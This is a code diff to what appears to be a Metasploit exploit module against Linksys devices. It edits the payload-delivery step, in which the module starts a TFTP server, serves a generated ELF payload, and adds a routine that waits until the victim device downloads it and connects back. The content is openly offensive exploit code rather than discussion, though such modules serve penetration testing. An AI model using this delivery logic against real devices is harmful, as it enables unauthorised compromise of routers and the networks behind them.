@@ -146,14 +146,13 @@ def exploit
146
146
147
147
#thx to Juan for his awesome work on the mipsel elf support
148
148
@pl = generate_payload_exe
149
- @elf_sent = false
150
149
151
150
#
152
151
# start our server
153
152
#
154
153
print_status ( "#{ rhost } :#{ rport } - Starting up our TFTP service" )
155
154
@tftp = Rex ::Proto ::TFTP ::Server . new
156
- @tftp . register_file ( downfile , @pl )
155
+ @tftp . register_file ( downfile , @pl , true )
157
156
@tftp . start
158
157
159
158
#
@@ -170,9 +169,13 @@ def exploit
170
169
fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
171
170
end
172
171
173
- # wait for payload download
174
- print_status ( "#{ rhost } :#{ rport } - Giving #{ datastore [ 'DELAY' ] } seconds to the Linksys device to download the payload" )
175
- select ( nil , nil , nil , datastore [ 'DELAY' ] )
172
+ # wait for payload download
173
+ if ( datastore [ 'DOWNHOST' ] )
174
+ print_status ( "#{ rhost } :#{ rport } - Giving #{ datastore [ 'DELAY' ] } seconds to the Linksys device to download the payload" )
175
+ select ( nil , nil , nil , datastore [ 'DELAY' ] )
176
+ else
177
+ wait_linux_payload
178
+ end
176
179
register_file_for_cleanup ( "/tmp/#{ filename } " )
177
180
178
181
#
@@ -196,4 +199,19 @@ def exploit
196
199
end
197
200
198
201
end
202
+
203
+ # wait for the data to be sent
204
+ def wait_linux_payload
205
+ print_status ( "#{ rhost } :#{ rport } - Waiting for the victim to request the ELF payload..." )
206
+
207
+ waited = 0
208
+ while ( not @tftp . files . length == 0 )
209
+ puts @tftp . files . length
210
+ select ( nil , nil , nil , 1 )
211
+ waited += 1
212
+ if ( waited > datastore [ 'DELAY' ] )
213
+ fail_with ( Exploit ::Failure ::Unknown , "#{ rhost } :#{ rport } - Target didn't request request the ELF payload -- Maybe it cant connect back to us?" )
214
+ end
215
+ end
216
+ end
199
217
end
0 commit comments